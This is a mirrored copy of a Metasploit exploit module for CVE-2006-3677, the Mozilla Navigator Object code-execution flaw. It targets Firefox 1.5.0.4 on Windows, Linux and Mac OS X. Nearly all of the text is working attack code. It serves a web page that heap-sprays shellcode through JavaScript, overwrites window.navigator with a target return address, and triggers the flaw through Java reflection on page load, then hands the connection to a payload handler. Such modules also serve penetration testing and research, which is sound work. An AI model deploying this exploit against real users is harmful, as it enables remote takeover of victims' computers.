Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/mozilla_navigatorjava.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = NormalRanking89include Msf::Exploit::Remote::HttpServer::HTML1011#include Msf::Exploit::Remote::BrowserAutopwn12#autopwn_info({13# :ua_name => HttpClients::FF,14# :ua_minver => "1.5.0",15# :ua_maxver => "1.5.1",16# :javascript => true,17# :rank => NormalRanking, # reliable memory corruption18# :vuln_test => %Q|19# is_vuln = false;20# if (navigator.javaEnabled()){21# is_vuln = true;22# }23# |,24#})2526def initialize(info = {})27super(update_info(info,28'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',29'Description' => %q{30This module exploits a code execution vulnerability in the Mozilla31Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit32requires the Java plugin to be installed.33},34'License' => MSF_LICENSE,35'Author' => ['hdm'],36'References' =>37[38['CVE', '2006-3677'],39['OSVDB', '27559'],40['BID', '19192'],41['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html']42],43'Payload' =>44{45'Space' => 512,46'BadChars' => "",47},48'Platform' => %w{ win linux osx },49'Targets' =>50[51[ 'Firefox 1.5.0.4 Windows x86',52{53'Platform' => 'win',54'Arch' => ARCH_X86,55'Ret' => 0x08000800,56'Fill' => "%u0800",57}58],59[ 'Firefox 1.5.0.4 Linux x86',60{61'Platform' => 'linux',62'Arch' => ARCH_X86,63'Ret' => -0x58000000,64'Fill' => "%ua8a8",65}66],67[ 'Firefox 1.5.0.4 Mac OS X PPC',68{69'Platform' => 'osx',70'Arch' => ARCH_PPC,71'Ret' => 0x0c000000,72'Fill' => "%u0c0c",73}74],75[ 'Firefox 1.5.0.4 Mac OS X x86',76{77'Platform' => 'osx',78'Arch' => ARCH_X86,79'Ret' => 0x1c000000,80'Fill' => "%u1c1c",81}82],83],84'DisclosureDate' => '2006-07-25'85))86end8788def on_request_uri(cli, request)8990# Re-generate the payload91return if ((p = regenerate_payload(cli)) == nil)9293print_status("Sending #{self.name}")94send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })9596# Handle the payload97handler(cli)98end99100def generate_html(payload)101102enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))103104return %Q|105<html><head>106<script>107function Exploit() {108if (window.navigator.javaEnabled) {109var shellcode = unescape("#{enc_code}");110var b = unescape("#{target['Fill']}");111while (b.length <= 0x400000) b+=b;112113var c = new Array();114for (var i =0; i<36; i++) {115c[i] =116b.substring(0, 0x100000 - shellcode.length) + shellcode +117b.substring(0, 0x100000 - shellcode.length) + shellcode +118b.substring(0, 0x100000 - shellcode.length) + shellcode +119b.substring(0, 0x100000 - shellcode.length) + shellcode;120}121122window.navigator = (#{target['Ret']} / 2);123try {124java.lang.reflect.Runtime.newInstance(125java.lang.Class.forName("java.lang.Runtime"), 0126);127}catch(e){128129}130}131}132</script>133</head><body onload='Exploit()'>Please wait...</body></html>134|135end136end137138139